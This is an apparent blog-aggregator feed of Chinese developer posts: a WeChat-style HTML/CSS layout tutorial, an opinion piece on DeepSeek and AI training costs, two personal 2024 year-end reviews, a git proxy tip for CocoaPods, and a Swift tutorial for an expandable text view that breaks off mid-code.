                    <h2>张三</h2>
                    <p>今天天气真不错~</p>
                </div>
            </li>
            <li class="chat-item">
                <div class="avatar">B</div>
                <div class="chat-info">
                    <h2>李四</h2>
                    <p>你在哪儿呢?</p>
                </div>
            </li>
            <!-- 添加更多聊天项 -->
        </ul>
    </div>
</body>
</html>

HTML 结构解析

  • header:包含应用的标题。
  • search-bar:搜索框,用户可以输入关键字进行搜索。
  • chat-list:聊天列表,包含多个聊天项(chat-item),每个聊天项包括用户头像和聊天信息。

CSS 样式

接下来,我们定义 CSS 样式,以使布局更美观。

* {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

body {
    font-family: Arial, sans-serif;
    background-color: #f0f0f0;
}

.container {
    max-width: 600px;
    margin: 0 auto;
    background-color: #fff;
    border-radius: 10px;
    overflow: hidden;
}

.header {
    background-color: #1aad19; /* 微信绿色 */
    color: white;
    padding: 15px;
    text-align: center;
}

.search-bar {
    padding: 10px;
    border-bottom: 1px solid #ddd;
}

.search-bar input {
    width: 100%;
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
}

.chat-list {
    list-style: none;
}

.chat-item {
    display: flex;
    align-items: center;
    padding: 15px;
    border-bottom: 1px solid #ddd;
    cursor: pointer;
    transition: background-color 0.2s;
}

.chat-item:hover {
    background-color: #f9f9f9;
}

.avatar {
    width: 40px;
    height: 40px;
    border-radius: 20px;
    background-color: #ccc;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-right: 10px;
    font-weight: bold;
}

.chat-info h2 {
    margin: 0;
    font-size: 16px;
}

.chat-info p {
    margin: 5px 0 0;
    color: #888;
}

CSS 样式解析

  • 基本样式:使用 box-sizing 和重置 marginpadding 以便更好的布局控制。
  • .container:设置最大宽度和中心对齐。
  • .header:设置背景色和文本样式,使其更具视觉吸引力。
  • .search-bar:设计搜索框,添加内边距和边框。
  • .chat-list.chat-item:使用 flexbox 布局,使聊天项在水平方向上对齐,并设置悬停效果。

效果展示

通过以上 HTML 和 CSS 代码,我们可以实现一个简易的微信首页布局,包含标题、搜索框和聊天列表。用户体验良好,结构清晰,有助于后续的功能扩展。

总结

本项目展示了如何使用 HTML 和 CSS 创建类似于微信首页的布局。通过合理的结构和样式设计,能够实现一个用户友好的界面。后续可以在此基础上添加更多功能,如动态数据加载、聊天功能等。

by Riesenzahn at January 28, 2025 10:26 PM

juejin career

DeepSeek 证明了什么

AI 这个词现在很火爆,但 AI 是新技术吗?不认为 AI 是一个新的技术,其实这些概念的提出都是在几十年前的事情了。

受限于当时的计算机计算能力,AI 很多概念都来源于人工神经网络,《人工智能》这门课程早在几十年前就是大学的必修课程了。

二十世纪40年代后期,心理学家唐纳德·赫布根据神经可塑性的机制创造了一种对学习的假说,现在称作赫布型学习。赫布型学习被认为是一种典型的非监督式学习规则,它后来的变种是长期增强作用的早期模型。

从1948年开始,研究人员将这种计算模型的思想应用到B型图灵机上。

但受限于当时的计算机处理能力,很多概念无法实现。

对搜索的厌倦

人类对知识的获取总是希望越快,越准确越好。

搜索引擎的作用是把所有所有索引到的内容通过一定的优先级进行排序的方式显示出来,但现实的过程中并没有对具体需要的内容进行分析和编排,导致很多内容无效。

使用 Google,对于一些一般性的内容,通常都能找到不少的答案,但那个答案是正确的,需要使用搜索的人自己去判断,甚至尝试。

在计算机里面举个例子,校验电话号码的正则表达式是什么?

如果之间使用搜索,会出现一堆结果,但那个结果是正确的,需要自己去验证。

AI 的作用

AI 针对上面的问题,进行了了处理,通常能够返回一个相对准确的结果。

针对这个相对准确的结果能够降低在搜索使用时候的无力感。

2025-01-28_09-21-32

我们甚至可以把 AI 定义为:带有 API 功能的更高准确率搜索引擎。

这个更高准确率是需要通过 LLM (大型语言模型)来训练后生成。

怎么训练 LLM

训练 LLM 需要计算能力,用土话来说,AI 对模型的训练算法需要 GPU 来通过更大的计算能力,CPU 也不是不可以,只是 GPU 的效果更好。

这个主要也是根据 CPU 和 GPU 的特性和指令集来决定的。

CPU-and-GPU

从上面的图片可以看到 GPU 在训练 AI 模型上比 CPU 更有优势。

在这个时候,简单粗暴的办法就是堆性能,你的模型可能不是那么先进,也可能是里面代码是有不少可以优化的地方,也可以采取一些方法来避免过度的使用硬件性能。

但在这一切都以快为基础的情况下,堆机器是最快的解决办法,这也很印度。

软件不行,硬件来凑。

华尔街在这里面看到了商机,也逐步的推高了英伟达的市场估值,好像现在没有英伟达的 高端 GPU 芯片模型都跑不了一样的。

当然,对马斯克和华尔街来说是乐见其成的,他们能够通过这些概念来强化市场。

前一段时间,AWS 来我们公司推销 LLM,最后什么都谈得还可以,唯独是这训练使用的机器谈不明白,因为 AWS 希望推荐使用最高性能的 GPU 优化后的机器来处理 LLM。

2025-01-28_09-26-25

就上面这个配置,一小时需要 3 美元,训练的适合还不能只用这样一台机器,还需要多个 VPS 叠加 GPU。

根据公司内部的资料完成训练的话,每个小时都几百美元的支出,这谁受得了。感觉 AWS 的目的就是来卖他们的 EC2 的,至于模型优化啥的都不是回事。

Deepseek

Deepseek 的做法就很中国。

我们擅长于把一个产品做到市场上都没有竞争对手,最大的对手是自己。

硬件差点意思,我们改软件。

我们证明,虽然我们达不到 GPT 完全等同的效率,但也大差不差,最主要的是我们便宜。我们能做到极致的便宜。

我们不需要高级的 GPU,就算是低性能的 GPU 我们也可以玩的。

Deepseek 可以说是 AI 市场的一根搅屎棍,本来华尔街那边都在等着数钱,结果有人站出来说这 AI 也不需要那么复杂的计算能力,就是个普通小机器也是可以玩的。

就好像说,Oracle 告诉你他们的数据库只适合跑小型机上,PGSQL 站起来说,就是个 4G 的虚拟机也可以玩数据库的高级功能的,性能大差不差。

SQLite 更加不服了,我更小。

对数据库和 LLM 来说,真实的需求是不同的,没有人能够承担数据丢失的损失,但 LLM 不同。

那个模型便宜我就用那个模型训练,就算训练坏了,没事,原始数据没丢,换个模型重新来,只要训练速度足够快,价格足够便宜。

Deepseek 的作用不在于说 Deepseek 真正有多强大,在于 Deepseek 把 AI 的一堆概念给整明白了,后来发现这东西也没那么玄乎,可能最后你可以在自己家都可以训练自己的 AI 了。

www.isharkfly.com/t/deepseek/…

by honeymoose at January 28, 2025 04:30 PM

2024年个人总结

  照例,每年都有的个人年度总结来了,看了很多其他大佬的总结,感觉自己的2024过于单薄,故事也不太丰满,自己就回去比较,自己哪里做的不好 ?但后来发现已经进入了一个思维误区。

  年度总结年度总结,总结是我个人的,今年发生了那些影响我的事情,我做出了那些改变,针对完成不好的事情挖掘失败和反思,恰恰才是我写这篇文章的中心思想。那么我们一起跟随我的记录回顾我的2024吧~~~

身体 :立根之本

   区别于往年,今年我选择将身体健康放在总结的首位,毕竟健康才是一切的前提。往年总是将工作放在最重要的位置,对身体的疏忽大意,带来的只能是隐患和后果。今年因为即将跨入30岁的行列,年度体检的数据亮起了多个“红灯”,再加上偶尔一次加班后的头晕,让我切实感受到,身体是“革命”的本钱,赚钱的前提是有命去花钱。25年,计划系统地研究一下保险,给自己和家人安排上,提早做好保障。岁数大了,身体确实顶不住随便折腾了。

饮食调整,健康先行

   从24年开始,我已经慢慢尝试改善一些不合理的饮食习惯。25年,打算进一步坚持并优化这些调整:

  • 非必要不喝咖啡:减少因为依赖咖啡提神导致的作息紊乱,强度工作时更倾向于用充足的睡眠恢复精力。
  • 少油少盐,减少重口饮食:尤其是大鱼大肉、烧烤和高热量的宵夜,虽然偶尔解馋没问题,但频率需要严格控制。
  • 按时吃饭,拒绝拖延:不再因为工作忙碌随便对付一顿或随意跳过正餐,饮食规律大概是健康最基础的一环。

   这些饮食习惯的改善让我逐渐感受到身体的变化,虽然不会立刻见效,但每一次坚持都会让我更接近健康的状态。

工作的反思:减少无效加班

   过去一年加班的原因无外乎两点:一是业务临时变更导致的被动调整,二是自己的工作方式尚需优化,尤其是项目初期的规划和代码设计。前者是外因,后者则是让我觉得需要反思和改进的地方。

  1. 从自身找原因:

    • 早期的代码架构和实现方式,有些地方还存在不够合理之处,这往往导致后期反复调整,进而产生无效的加班。
    • 虽然24年已经迈出了好的第一步,在项目启动前,我尝试输出业务需求分析和系统性文档,但部分细节的思虑不够全面,还是给后续开发带来了不必要的问题。
  2. 改善方向:

    • 在项目初期花更多时间进行方案规划,尤其是细节部分,避免因疏忽引发大的反复。
    • 学会“高效验收文档”:不仅仅是输出文档,还要更加细心地查看、验证和讨论,确保需求分析和设计方案尽可能完善。
    • 多花一分钟思考,省下十倍时间的返工:这一点是我在24年工作中逐渐感悟到的,计划25年继续践行。

发展的健康平衡

   工作多年后渐渐理解到,努力和拼命并不是一回事,效率和方法才是衡量工作能力高低的关键。25年的规划中,我要尝试让“多思考”成为核心习惯,把这种思维模式落实到生活和工作中的每一个细节。写代码如此,做生活规划更是如此。

   总结下来,25年推动的几个核心目标:

  1. 从饮食、锻炼、休息等多个方面出发,逐步改善健康问题,给身体建立良性循环。
  2. 在工作中不断优化自己的流程和方法,力求在复杂的项目中找到高效协作和平衡的方式。
  3. 完善保险和风险防范措施,为未来可能的意外构筑更强的安全底线。

   健康是基石,工作是延续,生活是目标。25年将是身心都逐步恢复、更进一步的开始。

工作 :成长之路

   过去两年的工作中,我感受到了个人能力的成长和视野的开阔。从23年加入喜马后,适应新的团队和技术体系,到24年结合自己的业务理解,主动推动性能优化专项工作,这是我从熟悉到深入、从挑战到提升的一段宝贵经历。一方面,我更深入地理解了代码架构和业务逻辑;另一方面,通过一些关键项目的突破,让我经历了一次真正意义上的跳出舒适圈,也深刻感受到了技术驱动业务发展的价值和团队协作的重要性。

性能优化专项

   在24年里,我牵头了一次性能优化专项工作,这不仅是对现有架构和技术方案的一次“重新审视”,也是对我个人能力的一次检验。专项工作内容覆盖了从APM大盘优化到内存泄露告警,从代码优化到业务优化,再到线上效果跟踪闭环的流程。

优化背景

   作为一款高用户量的产品,喜马直播代码的复杂性和业务场景的多样化,让性能优化成为不可回避的核心任务。而我在加入团队后逐渐发现,随着用户体量增加、业务逻辑发展,某些模块的性能瓶颈也开始显现。借此契机,我决定主动推动一次内存泄露和内存水位的性能专项优化,以解决以下问题:

  • 直播间内存泄露BUG:直播间Bug率千分之一,水位偏高。
  • 内存稳定性:某些场景下由于资源申请过多未及时释放,导致内存占用过高。
  • APM看盘麻烦:直播业务看数困难,APM告警暂无等...

推进过程

  1. 需求分析与调研:从用户反馈和埋点数据中,梳理了性能瓶颈明显的模块,并结合业务优先级,列出了需要优化的关键点。

  2. 技术方案输出

    • APM子业务看数功能完善,内存水位梳理;
    • 针对内存泄露进行问题分析和 内存写法SOP宣讲;
    • 技术优化 + 设备分级 + 业务场景优化多套组合拳;
  3. 落地执行与效果跟踪

    • APM二方库添加业务归因,直播业务可查看数据不阻塞查看水位;
    • 内存泄露长效治理,图片Bitmap检测库引入,优化本地图片资源,代码使用方式调整,降低内存泄露率到十万分之二水位,明显提升用户体验
    • 通过建设直播设备分级系统,针对直播特殊高内存场景进行优化 ,降低峰值内存水位 ,尝试提升dau数据 (不过业务数据不明显)

成果总结

   这一专项优化不仅显著提升了用户体验,还积累了性能优化方面的知识方法,同时也让我深刻感受到推动“技术专项”的重要性。面对复杂的问题时,找准方向和团队协作是关键,技术能力和业务目标相结合,往往能事半功倍。

突破舒适圈

   对于我个人来说,性能优化专项不仅仅是一次项目任务,更是触发了我跳出舒适圈、重新审视团队角色和自身能力的关键节点。

  • 从执行到牵头:过去的工作中更多以完成任务为导向,而在这次专项中,我主动推动工作,承担了项目的牵头角色,组织和协调团队的资源和时间。这让我从单纯的技术开发者,逐步迈向技术项目管理的实践者。
  • 从局部思考到全局视角:专项优化工作从需求分析到结果落地,需要全流程思考,这让我逐渐习惯用更宏观的视角去考虑问题,不再局限于单点的代码实现。
  • 建立协作意识:过去更习惯于个人完成任务,这次工作中我深刻意识到协作的重要性。团队间的沟通不仅带来了更全面的方案,也提升了团队整体的默契。

   整个过程中,不仅锻炼了自己的技术能力,也培养了领导力和组织协调能力。这些经历帮助我更有信心面对未来更高难度的挑战,同时也希望在后续的工作中持续走出舒适圈,尝试更多可能性。

AI:未来的探索

   24年是 AI 技术迅猛发展的标志性一年,尤其是在大语言模型(如 ChatGPT)和生成式AI的广泛应用背景下,我开始意识到,这不仅仅是技术创新的高地,也逐渐成为业务发展的重要驱动力。为此,我也在个人时间里对 AI 技术进行了初步的学习和探索,并尝试将其思路融入到工作场景中。

技术学习和构思

  • 关注领域
    在24年,我了解了自然语言处理(NLP)推荐系统方向的技术。这两个领域不仅与喜马的核心业务高度相关,也是在大数据和人工智能浪潮中至关重要的技术模块。

  • 构思项目
    我结合喜马平台的音频内容场景以及现阶段直播(特别是视频直播方向)相对较为薄弱的问题,与产品同学进行了多次讨论和头脑风暴,创造性地构思了一些基于 AI 技术的应用场景。以下是一些重要构思:

    • 虚拟人驱动升级体验
      借助当前AI技术,想象能否引入“虚拟人”概念,为用户体验新增一层与虚拟形象互动的可能性。虚拟人既可以在某些非实时广播场景中模拟主播与用户的互动,还可以在直播间里增加趣味性或承载与用户直接沟通的功能,用以优化低活跃直播间的用户留存。
      此外,通过精细化的数据分析,再结合语音生成技术(TTS)与NLP技术,虚拟人可以根据实时用户数据动态调整直播内容的推荐和呈现方式,做到更高的个性化服务。
    • 智能内容生成工具
      针对内容运营和推荐场景,生成式 AI 具有重要意义。例如,为音频标题、描述或推荐广告文案批量生成创意内容,然后结合人工校验,能够显著提升内容生成效率和质量;在丰富的多语种场景中,自动生成多语言字幕也是可以落地的一个方向。

辅助工具

  • 代码赋能:AI 助力开发效率
    24年,我使用了许多AI助手类工具,如 GitHub CopilotCursor,它们让我感受到 AI 对开发效率的显著提升。以下是一些具体感受和应用场景:

    • 代码生成:在日常开发中,Copilot 能够根据上下文给出相应的代码建议,大幅减少了重复性逻辑的编写时间。同时,对于一些自己并不熟悉的工具类接口或边缘技术,Copilot 提供的实时建议往往能给出新的解决方案思路。
    • 代码 Review 輔助:Cursor 等工具以实时对代码的逻辑进行分析和优化建议为主,尤其在多人协作的场景中非常高效。它可以帮助快速检测潜在的逻辑漏洞或不够简洁的实现方式,相当于一个智能 Review 助手。
    • 多样化解题视角:不止局限于工具的直接建议,它们还为我提供了解决问题的新角度。例如,面对同一段逻辑,AI 可能推荐一些更符合当前框架特性的轻量化写法,这种角度的丰富性帮助我提升了代码质量。

    通过持续使用这些工具,我更加深刻理解了 AI 在代码开发中的定位。它不是简单的替代人类,而是成为了提升工作效率、优化解决思路的强有力助手。

  • 技术拓展:节奏提升的核心
    在经历个人项目的实践后,我愈发意识到,AI 工具的价值并不仅仅在于“解决当下问题”,更在于如何利用它们更加高效地积累知识。在过去的一年中,借助这些工具的辅助,我不仅提升了开发效率,还通过它们的输出方式学习了新的框架与解决问题的技巧。一些逼近“最佳实践”的实现方法甚至成为了自己日后工程开发中的重要参考。

生活:找到工作与生活的平衡

  今年的经历让我深刻意识到,工作和生活绝不是对立的。生活为工作注入热情,而工作又促生了生活的仪式感与满足感。今年,我通过更加科学地规划时间,让生活与工作之间找到更和谐的平衡。

  • 坚持学习和成长的节奏
    无论是身体健康、技术深度,还是协作沟通,都需要日复一日地微调和完善。我计划 25 年将“年度目标”细分为季度行动计划,在不同阶段回顾目标达成情况,做出调整。
  • 提升表达与书写能力
    从计划到复盘,“总结”是一种深度输入与输出相结合的工具,我今年输出了更多的技术分享博客或在喜马业务迭代中的系分文档,不仅记录工作思考和成果也分享给他人。在表达时更加关注“结构化与逻辑性”,希望在这一能力上逐步突围。

未来

2025年,对我来说是复盘与前行的一年。过去一年中,我建立了一些好习惯和新方向,也透过自己的不足看到更多改进的空间。成长从不需要一步到位,重要的是找到更可持续、更细致的节奏,以小积累最终推动巨大改变。

  未来的一年,我希望做到以下几点:

  1. 守住健康底线:将健康融入每一天的生活中;
  2. 深耕工作领域:继续突破技术壁垒,为团队和个人创造更多价值;
  3. 与AI同行:不仅使用工具,尝试主动成为工具的设计者或在业务中有变现的场景;
  4. 平衡生活与思考:在科技与生活之外,找到属于自己的“宁静时光”。

by 明川 at January 28, 2025 04:00 PM

juejin ios

Cocoapods 挂了VPN之后Github超时443解决,挂VPN使用git方法

2025.01.28 工作变动原因,故将一些工作期间Tapd内部写的Wiki文档转移到个人博客。

2024年2月份有一段时间 Github 无法访问,需要梯子才能正常使用 Cocoapods 功能,这时候就遇到了挂 VPN 之后,进行 pod install 之后链接超时的问题。

2024年3月份 Github 恢复正常后,也遇到了关闭 VPN 后 Github 无法正常访问的问题。 在此记录一下挂了 VPN 正常使用 git 的方法。

一、挂 VPN 后访问 Github

挂 VPN 后访问 Github ,执行 pod install 过程中出现以下错误提示,是因为设置了代理的问题。

connection to github.com:443

解决办法:

  • 取消代理
git config --global --unset http.https://github.com.proxy
  • 对 github.com 进行 git config 全局设置
// 这里要注意使用自己的socks5的端口设置,这里我用的是ClashX(端口是7890)
git config --global http.https://github.com.proxy socks5://127.0.0.1:7890

二、关闭 VPN 后,正常访问 Github

在进行第一步操作后,关闭 VPN 后访问 Github,也无法执行 pod install 操作。

解决办法:

  • 关掉科学上网,在终端执行以下命令
git config --global --unset http.proxy
git config --global --unset https.proxy
  • 前往 ~/.gitconfig 删掉有关 [github.com] [socks5://127.0.0.1] 的配置即可正常使用。

最最最后,完结撒花

告辞.jpeg

by gla1ve_Yim at January 28, 2025 03:26 PM

juejin article

你曾经加入,我也很感谢你 ——2024年终总结

乌兰察布火山 今天是2024年的最后一天,也就是除夕,明天就是春节了,当然在中国,过年一般都指农历新年。早上起来贴完对子,摆布好房间,还有许多活要干。闲暇之余,对过去的一年做个梳理与总结,回顾过去,展望未来。转眼间,这已是我的第三篇年终总结,我也步入了大三下。

回忆

岁月不居,时节如流。仿佛昨天还在做着22年高考作文的红楼梦,亦或是留着本手俗手妙手不如神之一手。而今天就在用着chatgpt梳理着报告与大纲,用豆包撰写着期末论文(当然我是好学生我都是自己写的),头戴vp看着即真实又虚幻的世界,或许还能跟随星舰移民火星。即便如此,在年末之际,puq依旧还是会被横空出世的DeepSeek刷爆。前面排比忘记加上黑神话了,但我依旧想说:“踏上取经路,比抵达灵山更重要”。年终总结要扯一些宏观的东西看起来逼格高点...不过我认为,得与时俱进,抗拒时代的进步,只会落伍。

世纪之交 今年于我而言,依旧没有什么轰轰烈烈,也没有什么刻骨铭心,但是我对世界的看法,对自己的认知确有了更多的思考与角度。

低着头向上看

在全北京最大的高校图书馆学习 看了一些书,技术的:《C++新经典》,《Qt6C++开发指南》,《Qt6开发及实例》,《FFmpeg入门详解》、《effective modern C++》等。非技术的如《everyone is PM》,《苦乐参半》,《穷爸爸与富爸爸》,《运营之光:我的互联网运营方法论与自白》,《如何开一家小而美的店》......当然这不是一篇书籍推荐栏目,而于我而言,阅读依旧是获取知识信息的最快且最高效的方式,特别是现在快节奏的时代,网络上的信息良莠不齐,而如何去获取对自己有用的信息,这还挺重要。

activity&competition

icpc陕西 当然我也参加了不少活动,诸如“字节跳动2024暑期训练营”,“ICPC国际大学生程序设计竞赛全国邀请赛(陕西)” “2024移动应用创新赛线下专场”,“apple官方校园Club活动”,“开放原子2024春耕校源行专场活动”,“2024wteam创业大咖进校园|清华大学站 ”,“全国大学生软件创新大赛-软件系统安全赛区域赛”,作为技术负责人参与“2024校园非遗AIGC创作大赛”等,我喜欢参加活动,有些能拿奖品,有些空手而归,但是最重要的是,我参与了,不仅收获了知识与乐趣,也认识了更多志同道合的朋友与伙伴,相互学习,能走的更远。

成长与突破

2024,我没有拘泥于在校园的安定现状,而是决定出去实习,在准备了一段时间后开启了投递,找实习的过程也不是一帆风顺,有的已读不回石沉大海,有的聊了几句就迎来岗位不适合,当然,最终在经历了多轮的相互抉择后,我最终还是找到了适合我的一份实习。不得不说,做大型项目和个人的小玩具还是不一样的,得考虑的东西很多,代码的构建与管理,团队的合作与分工,接口功能的规范与统一,这与大学的偏理论或者说偏应试的东西差多了,实践才出真知。经过了几个月的历练,我从看不懂代码到主动commit,从愁眉莫展到团队合作,学会看文档,学会请教与交流,我觉得吧,其实实习的过程不仅是学习锻炼技术的过程,更是磨炼个人综合素质的体现。这里也特别感谢我mentor,他教会我很多奇技淫巧,他还说过:“基础是重要的,无论今后去哪,基础是心法”,这句话我也一直记在心上。

心爱的小桌 团建 由于我待的公司是一家创业型公司,我也收获了很多创业方面的思维与素质,我想这也是我想要的。有一次团建,销售总监问我说:小伙子不错,有自己的思想,你现在才大三,那你今后打算做什么呢?我记得当时的回答是:“为祖国健康工作50年”,当时大家都乐的笑了起来,虽然我也是笑了,但是我知道,有些东西是发自内心的。而公司中的CEO作为领头羊,为公司中的每个人都敬了酒,也包括我(一个实习生),说实话我很佩服,她没有高高在上咄咄逼人的傲气,没有那种说教性的服从测试,而是相互尊敬,合作共赢,温文尔雅又高端大气。公司的CTO也曾说过,我们是创业型团队,我希望大家都是奋斗者。其实在我看来,公司里的小伙伴都是奋斗者,每个人都有自己的思想,但是都为了共同的产品和目标而贡献者力量。这里祝前司越来越好。

表达与传递

在人大睁眼看世界 有个著名的词语叫 keep thinking,说是要保持思考,不断思索,我想在这话后加上一句“学会表达”,也即 keep thinking and learn to express ,学过小学音乐的人都知道,音乐最重要的是表达,李健曾说过:“在最冷的时候,我会写一些抗拒寒冷的歌曲,我写过一首歌叫《温暖》。多年以后很多人问我为什么写这首歌,原因非常简单,因为我住的地方太冷了,温暖是我当时的渴求。”,学过小学摄影的也知道,摄影主要是记录与表达,优质vlog博主井越曾说过:“一张全黑的照片,但只有你知道,这是你的爱人当时在给你表白的时候那天晚上的天空,那么这张照片就是好的照片。”

颐和园的冬天 ......喜悦了, 忧伤了,郁闷了,释怀了等等......只要能传达出所表达的,有意义的,那就是一个好的作品,表达不出来,那只能说欠缺火候。其实生活亦是如此,我自己是想法挺多的一个人,经常会想一些有的没的,在别人看来是思维跳跃或者是无厘头。有想法,也需要表达,就像一个输入输出的过程一样,每个人所表达的方式不一样,没有所谓标准的公式,正如我现在所写的文章一样也是表达,或许文笔欠缺,或许辞藻白涩,但是就是我个人的梳理与总结,我想我自己也已经表达出了我的东西,这对我来说,就是有意义的。

探索与追寻

2024年趁着假期与闲暇时光,去了一些地方,山海打樵的秦皇岛,集火山草原沙漠与一身的内蒙,百去不厌的天津东堤,以及满怀人文气息的淮南等,因为在北京的缘故,基本都是去附近的城市,其实想去的地方还很多,比如火星?()。人是奇怪的动物,总是喜欢新鲜的东西,总是喜欢得不到的东西。虽然是这样,我还是会去做自己喜欢的事情,就比如我喜欢音乐,我每天会不自觉的花时间去听歌,去学一些音乐相关的知识,参加合唱歌会与音乐节演出。我喜欢摄影,我看到喜欢的东西我就拍摄,同时也会学习一些影视的工具。人就活那么些日子,谁还不是为了提升幸福感而活着,而这里的幸福我想是由自己定义,而不是别人。

拍一张桌面壁纸 东堤火焰 有时候我们茫茫碌碌,小时候用功读书,长大了努力工作,一年到看不到头,一年也看到了头。有的人每天匆匆忙忙就是一辈子,有的人活在他人的眼光丧失了自我,有的人为了所谓的荣华与富贵卑躬屈膝不敢抬头,有的人连自己想要的是什么也没弄清楚。或许,他们活的很精彩,但我个人的追求却不是这些。我的老友李导曾说过:“2025,找到自己内心的宁静”,诶我觉得说得很好,我也期望能找到自己内心的宁静,去做自己真正想做的事情。

展望与期待

好吧,扯了那么多,还是来展望一下2025吧,在此之前先回顾一下去年的: 24年flag

2024年收获了一份满意的实习,去了不少地方探索游玩,也结交认识了很多志同道合的朋友。好像都实现了,也没有那么难嘛,看来今年得上点难度

收获满意的大厂offer,秋招顺利 有一份自己的副业 去更多更远的地方探索游玩 结识更多的伙伴朋友

总结

2024年没有轰轰烈烈,没有刻骨铭心,但是确是精彩的一年,借用周董的一句话:“有人加入,有人退出,但是你曾经加入,我也很感谢你。” 新年快乐,2025,我们一起加油呀! 新年快乐!

补图

干杯! 海边捞 沾衣欲湿杏花雨 讲好中国故事 淮南行 响沙湾 20岁 你想活出怎样的人生? 世界人民大团结万岁! 爱是奔赴着不朽的 无限进步!

by 椰佬小KK at January 28, 2025 03:17 PM

juejin ios

iOS 小组件 - 文本容器(展开/收起)之技术设计与实现详解

2025.01.28 工作变动原因,故将一些工作期间Tapd内部写的Wiki文档转移到个人博客。

一个 ( 展开 / 收起 ) 式通用文本容器

初版源码的 setupExpandableText() 中使用了 boundingRect() 去计算换行方式引起了精度不足的问题。

因此,换行计算方式在文中新更新 ————————— 2024.01.07 更新 ————————— 有优化。

一、需求

tapd_44062861_1700211523_441.png

如效果图所示,需要完成一个文本容器(如果文本超过3行,后缀文本改为...展开)。 回顾项目里以往的代码,并没有一个开箱即用的通用小组件,这里就决定完成一个通用小组件 (一个带 展开/收起 功能的裁剪文本容器)

二、技术设计思路

  • 首先,可以知道需要引用一个动态布局的通用小组件,我们需要让持有者知道小组件的高度。

  • 第二,可以支持灵活自定义比较重要的字段(裁剪后缀文本、字体、段落样式、要裁剪的行数

  • 第三,超链接文本展开和收起的动作回调(方便业务有特殊处理)

三、小组件源码(初版,在后面对setupExpandableText()中的计算换行方法有优化)


//  Created by Yim on 2023/10/20.
//  展开/收起 式通用文本容器

import UIKit

class YAYExpandableTextView: UITextView {
    
    /// 输入文本
    var originalText = ""
    /// 收起后的文本
    var collapseText = ""
    /// 自定义的(展开)拼接文本
    var suffixStr = ""
    /// 自定义的(收起)拼接文本
    var closeStr = ""
    /// 文本宽度
    var textWidth: CGFloat = 0
    /// 字体
    var textFont = UIFont()
    /// 字体颜色
    var expandableTextColor: UIColor = .white
    /// 展开/收起 高度回调,点击回调
    var viewHieghtClosure: ((CGFloat, String) -> ())?
    
    /// 段落样式
    lazy var paraStyle: NSMutableParagraphStyle = {
        let paraStyle = NSMutableParagraphStyle()
        paraStyle.lineBreakMode = NSLineBreakMode.byCharWrapping
        paraStyle.alignment = NSTextAlignment.left
        paraStyle.lineSpacing = 5
        paraStyle.hyphenationFactor = 0.0
        paraStyle.firstLineHeadIndent = 0.0
        paraStyle.paragraphSpacingBefore = 0.0
        paraStyle.headIndent = 0
        paraStyle.tailIndent = 0
        return paraStyle
    }()
    
    // MARK: - 初始化

    /// 将文本按长度度截取并加上指定后缀
    /// @param str 文本
    /// @param suffixStr 指定后缀
    /// @param font 文本字体
    /// @param textWidth 文本长度
    /// @param num 多少行
    func setupExpandableText(_ str: String, suffixStr: String = "...展开", closeStr: String = " 收起", textFont: UIFont, textColor: UIColor, textWidth: CGFloat, numberOfRows row: Int) {
        self.delegate = self
        self.isEditable = false
        self.bounces = false
        // 原文本
        self.originalText = str
        // 字体
        self.textFont = textFont
        // 字体颜色
        self.expandableTextColor = textColor
        // 文本宽度
        self.textWidth = textWidth
        // 自定义的(展开)拼接文本
        self.suffixStr = suffixStr
        // 自定义的(收起)拼接文本
        self.closeStr = closeStr
        
        // 记录高度变化次数(相当于行数)
        var wrapTimes: Int = 0
        var wrapHeight: CGFloat = 0
        
        for i in 0..<str.count {
            // 截取下标
            let index = str.index(str.startIndex, offsetBy: i)
            // 截取后的文本
            let tempStr = String(str[..<index])
            // 文本宽高size
            let size = tempStr.boundingRect(with: CGSize(width: textWidth, height: CGFloat.greatestFiniteMagnitude), options: [.usesLineFragmentOrigin, .usesFontLeading, .truncatesLastVisibleLine], attributes: [
                .font: textFont,
                .paragraphStyle: paraStyle,
            ], context: nil).size
            
            // 记录换行次数
            if wrapHeight != size.height {
                wrapTimes = wrapTimes + 1
                wrapHeight = size.height
                // 换行超出指定行数,进行裁剪
                if wrapTimes == row + 1 {
                    // 因为已经是刚好超出的第一个字符,所以是 截取文本长度 - 1 - 要拼接的文本长度(再拼 - 1,优化效果,顺便防止特殊字符长度比较长)
                    let cutIndex = tempStr.index(tempStr.startIndex, offsetBy: tempStr.count - 1 - suffixStr.count - 1)
                    let colText = String(tempStr[..<cutIndex])
                    collapseText = "\(colText)\(suffixStr)"
                    // 返回高度
                    let viewHeight = getTextViewSize(self.configDidOpenClose().string, with: textFont, width: textWidth).height
                    viewHieghtClosure?(viewHeight, "didOpenClose")
                    return
                }
            }
        }
        
        // 不需要额外处理,基础样式文本
        let attributedText = NSAttributedString(string: originalText, attributes: [
            NSAttributedString.Key.foregroundColor: expandableTextColor,
            NSAttributedString.Key.font: textFont,
            NSAttributedString.Key.paragraphStyle: paraStyle
        ])
        self.attributedText = attributedText
        // 返回高度
        let viewHeight = getTextViewSize(attributedText.string, with: textFont, width: textWidth).height
        viewHieghtClosure?(viewHeight, "")
        
    }
    
    // MARK: - private
    
    /// 默认收起的配置
    func configDidDownClose() -> NSMutableAttributedString {

        let attributedText = NSMutableAttributedString()
        // 添加自定义文本样式
        let attStr1 = NSAttributedString(string: originalText, attributes: [
            NSAttributedString.Key.foregroundColor: expandableTextColor
        ])
        attributedText.append(attStr1)
        // 添加(收起)后缀文本样式
        let attStr2 = NSAttributedString(string: closeStr, attributes: [
            NSAttributedString.Key.foregroundColor: UIColor.hexColor(hex: "#39639E")
        ])
        attributedText.append(attStr2)
        // 添加基础段落样式
        attributedText.addAttributes([
            NSAttributedString.Key.font: textFont,
            NSAttributedString.Key.paragraphStyle: paraStyle,
        ], range: NSRange(location: 0, length: attributedText.string.count))
        // 给富文本后面增加可操作的点击链接通过代理来实现
        attributedText.addAttribute(NSAttributedString.Key.link, value: "didDownClose://", range: NSRange(location: attributedText.string.count - closeStr.count, length: closeStr.count))
        
        self.attributedText = attributedText
        return attributedText
    }
    
    /// 默认打开的配置
    func configDidOpenClose() -> NSMutableAttributedString {
        
        let attributedText = NSMutableAttributedString(string: collapseText)
        // 添加自定义文本样式
        attributedText.addAttributes([
            NSAttributedString.Key.foregroundColor: expandableTextColor
        ], range: NSRange(location: 0, length: collapseText.count - suffixStr.count))
        // 添加(展开)后缀文本样式
        attributedText.addAttributes([
            NSAttributedString.Key.foregroundColor: UIColor.hexColor(hex: "#39639E")
